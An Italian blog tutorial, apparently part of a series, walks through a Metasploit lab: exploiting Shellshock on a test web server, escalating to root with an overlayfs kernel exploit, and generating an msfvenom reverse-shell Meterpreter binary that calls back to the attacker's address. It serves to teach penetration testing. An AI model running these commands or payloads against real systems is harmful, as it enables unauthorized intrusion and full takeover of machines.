Red Hot Cyber
La cybersecurity è condivisione. Riconosci il rischio, combattilo, condividi le tue esperienze ed incentiva gli altri a fare meglio di te.
Cerca

Alla scoperta di Metasploit! Un laboratorio e un tutorial per capirlo meglio (parte 2)

Manuel Roccon : 8 Gennaio 2024 07:09

In questo articolo andremo alla scoperta di metasploit, un framework scritto in ruby, appositamente creato per supportare hacker e pentester. Per fare ciò, e spiegare le basi del funzionamento del framework, andremo a provarlo direttamente sul campo, cercando di violare un’infrastruttura in laboratorio appositamente creata per vedere i vari possibili scenari di utilizzo.

In questo tutorial alterneremo della teoria con la pratica per poter capire meglio il funzionamento.

Il nostro laboratorio per questo test sarà composto da una macchina “pubblica” di cui sappiamo IP (192.168.83.139), che l’attaccante potrà comunicare e una macchina nascosta di cui non sappiamo l’esistenza, comunicante solo con la prima.

Sei un Esperto di Formazione?
Entra anche tu nel Partner program!
Accedi alla sezione riservata ai Creator sulla nostra Academy e scopri i vantaggi riservati ai membri del Partner program.
Per ulteriori informazioni, scrivici ad [email protected] oppure su Whatsapp al 379 163 8765 

Supporta RHC attraverso:


Ti piacciono gli articoli di Red Hot Cyber? Non aspettare oltre, iscriviti alla newsletter settimanale per non perdere nessun articolo

Il nostro obiettivo, sfruttando varie vulnerabilità ed escalation, è riuscire ad arrivare alla rete interna e ottenere il controllo della macchina nascosta.

INIZIAMO

Sappiamo già che la macchina accessibile ha un servizio web esposto. Iniziamo effettuando un po’ di fuzzing, utilizzando Nikto ci accorgiamo subito di una vulnerabilità shellshock CVE-2014-6271.

Ora avviamo metasploit (mfsconsole), nel caso non fosse installato è possibile seguire queste istruzioni.

https://docs.rapid7.com/metasploit/installing-the-metasploit-framework/

Metasploit è composto da queste principali tipologie di moduli:

  • exploit/: sono presenti tutti gli exploit utilizzabili a fonte di vulnerabilità 
  • ausiliary/: sono dei tool come gli scanner o tool per eseguire il check di varie vulnerabilità.
  • post/: sono delle attività avviabili dopo aver preso il controllo della macchina

L’accesso ai vari moduli è ben organizzato, inizia con la tipologia, sistema operativo, protocollo e così via (es. exploit/linux/local/overlayfs_priv_esc)

Tramite la console di metasploit possiamo velocemente eseguire una ricerca di questi moduli tramite il comando “search”.

In questo caso cerchiamo i risultati per “shellshock apache” che ci ha riportato Nikto.

Possiamo inoltre cercare per CVE (“search CVE-2014-6278”).

A questo punto proviamo a usare un modulo ausiliary proposto per testare la vulnerabilità.

Questo modulo permette di testare la vulnerabilità senza avviare payload per ottenere l’accesso al sistema.

Per selezionare un modulo abbiamo diversi modi utilizzando il comando USE.

Conoscendo il percorso esatto del modulo possiamo richiamarlo con il percorso esatto (es. “use auxiliary/scanner/http/apache_mod_cgi_bash_env”) oppure dopo aver fatto una ricerca richiamarlo con il numero che compare a lato del risultato (es. “use 1”)

Quindi richiamiamo il comando auxiliary tramite posizione.

Dopo averlo selezionato il modulo in uso viene riportato sulla shell, per interagire con esso abbiamo una serie di comandi utili del modulo:

AZIONI

  • show [parametro]: permette di vedere la valorizzazione del parametro corrente (es. “show RHOST”). Un altro esempio è “show info” che visualizza tutti i dettagli del modulo, come descrizione parametri settabili payload usato per la reverse shell. Consiglio sempre di valutare tutti i parametri prima di avviare qualsiasi exploit.
  • set [parametro]: imposta un valore diverso a un parametro (es. “set RHOST 192.168.9.10”)
  • exploit o run: esegue il modulo, si può aggiungere -J (es. run -j) per eseguire il comando in background, questo come vedremo ci è utile per alcuni moduli che lavorano in background.
  • check: alcuni moduli, in particolare gli exploit possono essere verificati se funzionanti prima di eseguirli effettivamente (dalle informazioni di “show info” possiamo vedere se il modulo supporta il check)

ALCUNI PARAMETRI

I parametri principali che troveremo in ogni modulo sono:

  • RHOST: IP del host remoto vittima
  • LHOST: IP del host attaccante
  • LPORT: la porta del host attaccante
  • TARGET: il sistema di destinazioni se ci sono delle varianti del modulo (es. x86/x64)
  • PAYLOAD: se il modulo prevede una reverse shell qui possiamo selezionare o modificare quale usare

Altri parametri sono specifici del modulo, con show info è possibile visualizzarli tutti

PAYLOAD

I payload sono delle procedure per interagire con il sistema remoto e ottenerne il controllo (shell o meterpreter) o eseguire comandi remoti.

Come i moduli di metasploit, i payloads sono anch’essi organizzati a livello sintattico e gerarchico.

Per esempio, linux/x86/meterpreter/reverse_tcp identifica che:

  • il sistema target è linux
  • l’architettura x86
  • la tipologia di shell (se viene usato il modulo di meterpreter oppure una shell standard)
  • la tipologia di shell e protocollo (in questo caso reverse shell via tcp)

I payloads possono essere di 2 tipologie:

  • Stageless: un singolo payload contenente l’exploit e il codice shell completo per l’attività selezionata. I payload in linea sono progettati per essere più stabili delle loro controparti perché contengono tutto in uno. Tuttavia, alcuni exploit non supportano la dimensione risultante di questi payload.
  • Stager: i payload stager funzionano in combinazione con i payload stage per eseguire un’attività specifica. Uno stager stabilisce un canale di comunicazione tra l’aggressore e la vittima e legge un payload dello stage da eseguire sull’host remoto.

Per distinguere i payloads no stage dagli stage, metasploit utilizza il carattere tra meterpreter e la tipologia, ad esempio:

PayloadStagedStageless
Reverse TCPwindows/meterpreter/reverse_tcpwindows/meterpreter_reverse_tcp
Reverse HTTPSwindows/meterpreter/reverse_httpswindows/meterpreter_reverse_https
Bind TCPwindows/meterpreter/bind_tcpwindows/meterpreter_bind_tcp
Reverse TCP IPv6windows/meterpreter/reverse_ipv6_tcpwindows/meterpreter_reverse_ipv6_tcp

Per completare il tutto un’altra distinzione è se la shell è bind o reverse:

  • Bind: la vittima resta in ascolto mentre l’attaccante si connette direttamente.
  • Reverse: la vittima viene portata a connettersi con l’attaccante che rimane in ascolto.

La scelta delle 2 dipende da come l’attaccante è in contatto con la vittima, se attaccante non può comunicare direttamente con la vittima in una specifica porta (es. c’è un firewall) è necessario usare una reverse shell, mentre se lo si raggiunge direttamente, ma al contrario la vittima non riesce a raggiungere il nostro IP attaccante (come vedremo dopo) è necessario un bind.

Infine, come accennavo, esistono dei payload per eseguire solo dei comandi remote come ad esempio:

  • cmd/windows/generic: eseguire un comando da cmd
  • cmd/windows/adduser: aggiungere un utente

Ora andiamo alla pratica con il nostro modulo appena caricato.

Con show info vengono riportate le informazioni base del modulo,

I parametri configurabili, (Da notare che alcuno devono necessariamente essere inseriti altri no (Required))

La descrizione del modulo

E alcune referenze del modulo o della vulnerabilità o del exploit.

Ora settiamo i parametri e avviamo il modulo

Ci accorgiamo subito che il modulo ha restituito una risposta positiva, ritornando l’attuale utente che sta eseguendo apache nella macchina remota contraddistinto con (uid); quindi la macchina è vulnerabile alla CVE identificata.

PREPARIAMOCI PER EXPLOIT

Ora selezioniamo exploit che ci permetterà di ottenere la shell remota sulla macchina, eseguiamo la stessa ricerca di prima e selezioniamo l’altro modulo (“use 0”).

Questo modulo prevede l’esecuzione di una shell remota, di default viene usato linux/x86/meterpreter/reverse_tcp.

Come spiegato in precedenza, qual volta che dovessimo usarne uno diverso, dopo vedremo uno dei motivi per cui dovremmo cambiarlo, possiamo usare questi comandi:

  • show PAYLOAD: vedere i payload compatibili con exploit
  • set PAYLOAD: settare un payload compatibile

Ora verifichiamo i dati del modulo:

Alcuni moduli hanno un “targets” variabile che ne identifica per esempio la tipologia di sistema o una variante della vulnerabilità, è molto importante, come vedremo dopo analizzare questi dettagli del modulo per la corretta esecuzione del payload.

Infine sono elencati tutti i parametri settabili nel modulo, alcuni richiesti altri no.

Ora impostiamo:

  • RHOST: IP del nostro host vittima.
  • TARGETURI: una proprietà del modulo che identifica il percorso dove sia presente la pagina vulnerabile (è la stessa individuata da NIKTO precedentemente)
  • RUN: avviamo exploit

Otteniamo finalmente una sessione di meterpreter, abbiamo sfruttato correttamente la vulnerabilità shellshock per accedere alla macchina

Questa sessione meterpreter, rispetto a una normale reverse shell che vedremo dopo, permette di eseguire una una serie di comandi e tool di metasploit direttamente sulla macchina compromessa, con il comando help possiamo vedere tutti i comandi che meterpreter può eseguire.

Un comando per esempio è getuid, restituisce utente con cui è stato eseguito il payload, ma, come approfondiremo in seguito potremo eseguire una grande varietà di estensioni  (es. kiwi, incognito) o moduli post avviandolo direttamente sulla shell di meterpreter tramite il comando RUN.

Da notare che non siamo utenti privilegiati, per cui dobbiamo trovare un modo per diventarlo tramite una tecnica che prende il nome di  privilege escalation

Tramite il comando “shell” ora possiamo interagire direttamente con la shell del sistema vittima.

Un approfondimento dettagliato è possibile visualizzarlo nella documentazione OSCP

https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/

Quindi avviamo la shell remota, verifichiamo di nuovo l’utente in esecuzione, la versione del sistema operativo e del kernel

Da notare che la nostra shell non era interattiva, non ci restituisce vari output come il percorso, per farla diventare tale abbiamo usato uno script in bash “SHELL=/bin/bash script -q /dev/null”.

Un altro comando che possiamo usare per ottenere una interactive shell è “python -c ‘import pty; pty.spawn(“/bin/bash”)’”

GESTIONE DELLA SHELL

Una volta aperta la shell possiamo metterla in background per permetterci di fare altro per poi riprenderle in seguito.

Vediamo come:

Usando “Ctrl + C”, chiuderà la shell remota definitivamente.

Usando “Ctrl + Z”, la metterà in background, utile per poi andare per esempio ad un’altra sessione e poi in futuro riprenderci la shell che avevamo aperto.

In seguito, usando “channel -l”, possiamo vedere le shell in background.

Per riprenderci la shell in background dovremmo usare channel -l [numero channel].

In seguito vedremo anche come mettere in background intera sessione meterpreter.

PRIVILEGE ESCALATION

Ora proseguiamo nella nostra esplorazione. Abbiamo accennato prima di non essere utente root ma un utente non privilegiato, questo ci impedisce di avere totale controllo del sistema.

Per il proseguimento del nostro test e collegarci alla macchina nascosta, non sarebbe necessario avere i diritti  di questa macchina intermedia, in quanto ci basterebbe la sessione esistente per eseguire il pivoting che vedremmo in seguito. Ma in moltissimi casi per proseguire è necessario avere i privilegi massimi nella macchina compromessa.

Ma proseguiamo ugualmente per vedere alcuni comandi interessanti.

Ora facciamo un’analisi “manuale”, ci concentriamo subito sulla versione del kernel 3.13.0.24 e cerchiamo alcune info su exploit-db alla ricerca di exploit utili.

DB-exploit è un grande archivio pubblico di exploit e informazioni per sfruttare vulnerabilità specifiche.

Ci accorgiamo subito di una vulnerabilità Kernel che rientra nella nostra versione, per utilizzare questa dovremmo scaricare il file scritto in C, compilarlo nella macchina remota e avviarlo dall’utente non privilegiato per ottenere una sessione root (maggiori dettagli sono presenti sul file).

https://www.exploit-db.com/exploits/37292

Essendo l’articolo incentrato su Metasploit, proviamo a usare il nostro framework per ottenere lo stesso risultato.

Iniziamo nell’usare il modulo “post/multi/recon/local_exploit_suggester”, che analizza automaticamente gli exploit compatibili che metasploit dispone e ci suggerisce con quali potrebbero essere usati.

In caso volessimo fare la stessa cosa nei metodi manuali dovremmo usare per esempio linpeas avviato nel sistema vittima (winpeas per sistemi windows).

Ci viene restituita una serie di vulnerabilità compatibili, ci accorgiamo subito del primo individuato (exploit/linux/local/overlayfs_priv_esc) risulta essere lo stesso di db-exploit.

GESTIONE DELLA SESSIONE METERPETER

Ora mettiamo in background la sessione come visto prima tramite “ctrl+Z”. 

Il motivo è che dobbiamo eseguire exploit fuori dalla sessione meterpreter di linux per poi indicare al exploit in quale sessione andare a interagire.

Come per i channel, possiamo vedere sempre le sessioni in background tramite sessions -l.

In seguito tramite session -i (numero) possiamo riprendere in possesso della sessione.

ESEGUIAMO EXPLOIT SULLA SESSIONE ESISTENTE

Ora usiamo exploit suggerito (use exploit/linux/local/overlayfs_priv_esc), notiamo subito che questo modulo è possibile sfruttare 2 CVE distinte (targets).

Andiamo a configurare il modulo:

  • set session 1: selezioniamo la sessione attiva di cui abbiamo bisogno di interagire che abbiamo messo in background
  • set target 0: selezioniamo la CVE corretta che abbiamo trovato su exploit-db (CVE-2015-1328) molto importante sempre analizzare questo parametro perchè exploit potrebbe non funzionare!!
  • set lhost: indichiamo il nostro ip
  • run: avviamo exploit

Dopo aver avviato l’exploit otteniamo una sessione come root, exploit ha funzionato e il nostro privilege escalation ha avuto successo siamo utente root.

Info: dalla shell possiamo ora cambiare la password tramite il comando

echo -e "Password123.\nPassword" | passwd root

Rispetto alla sessione precedente, ci accorgiamo che ci viene riportata subito una shell di linux, e non si è aperta la sessione meterpreter come prima con tutte le utility del caso.

Per cui nella macchina remota da questa sessione non potremmo interagire con i comandi visti prima.

Il motivo è che il payload di default usato dal modulo è linux/x86/shell/reverse_tcp

In realtà ho provato a sostituire il payload meterpreter con la semplice shell (set payload linux/x86/shell/reverse_tcp) prima di eseguirlo, ma exploit per qualche ragione la shell veniva eseguita con l’utente non privilegiato www-data.

Quindi agiremo diversamente, creeremo manualmente un eseguibile con meterpreter da caricare e avviare dalla sessione non meterpreter.

Quindi mettiamo in background la shell meterpreter come avevamo visto prima tramite “ctrl+Z”.

CREAZIONE MANUALE DI UNA SHELL TRAMITE METEPRETER

Proseguiamo con un approfondimento su metasploit su come poter avviare una sessione metepreter da una shell normale utilizzando il tool msvenom.

Questo tool è usato anche per esempio per creare delle reverse shell nei payload avviati senza il supporto diretto di metasploit per exploit delle macchine, oppure da inserire il payload in un buffer overflow.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.83.128 LPORT=4441 -f elf > shell.elf

Per fare ciò andiamo indicare:

  • la tipologia di payload: linux/x86/meterpreter/reverse_tcp
  • IP dell’attaccante: 192.168.128
  • la porta dell’attaccante: 4441

Nella directory viene creato l’eseguibile shell.elf da lanciare nella macchina vittima.

Non prima però avviamo un modulo per poter accettare le richieste in ingresso una volta avviato l’eseguibile, per cui da metasploit selezioniamo il modulo “use exploit/multi/handler”

Compiliamo i parametri:

  • set PAYLOAD: il payload che andremo a usare che sarò lo stesso dell’eseguibile
  • set LHOST: il della rete locale che rimarrà in ascolto della connessione in entrata
  • set LPORT: la porta dove la connessione in entrata cercherà di raggiungere

Questa volta eseguiamo exploit -J (incluso il parametro -J): in questo modo il modulo si avvierà e restera in background lasciando comunque di nuovo operare con metasploit.

Quando la connessione verrà stabilita potremmo vedere la sessione con “session -l” e collegarsi con “session -i [numero]” come abbiamo visto prima.

UPLOAD DI UN FILE DA METERPRETER

Ora dobbiamo caricare il file appena creato nella macchina, tmp in linux è un’ottima posizione in quanto generalmente qualunque utente locale può scriverci.

Per caricare il file ci sono varie modalità per farlo, ma avendo già aperta una sessione di meterpreter, possiamo sfruttare quella per caricarlo tramite il comando upload.

Colleghiamoci alla sessione 1 (session -i 1)

Ed eseguiamo upload tramite il comando upload (un altro comando utilizzabile dalla console meterpreter) file destinazione:

Quindi mettiamo in background la sessione 1 () e spostiamoci nella sessione 2 (session -i 2) ancora aperta come utente root:

Trasformiamo la nostra sessione non interattiva in interattiva. Ci spostiamo sulla directory /tmp dove abbiamo copiato il file, impostiamo il flag di esecuzione sul file (chmod + x shell.elf) ed avviamo la shell.elf (./shell.elf)

Ci accorgiamo subito che a video verrà attivato una nuova sessione che prima era in ascolto (Meterpreter session 3 opened).

Mettiamo di nuovo in background la sessione 2 corrente (ctrl +Z)

e verificando di nuovo le sessioni attive (session -l) ci accorgiamo che abbiamo una sessione (sessione 3) attiva meterpreter come root.

CONCLUSIONI

In questa parte abbiamo approfondito i comandi base di Metasploit, come utilizzare le principali tipologie di moduli e avviare i moduli exploit per ottenere il controllo della macchina fino al privilege escalation.

Nella prossima parte verrà mostrato come individuare una rete collegata a questa macchina che abbiamo compromesso e come poter muoverci nella rete interna tramite pivoting.

Manuel Roccon
Ho iniziato la mia carriera occuparmi nella ricerca e nell’implementazioni di soluzioni in campo ICT e nello sviluppo di applicazioni. Al fine di aggiungere aspetti di sicurezza in questi campi, da alcuni anni ho aggiunto competenze inerenti al ramo offensive security (OSCP), occupandomi anche di analisi di sicurezza e pentest in molte organizzazioni.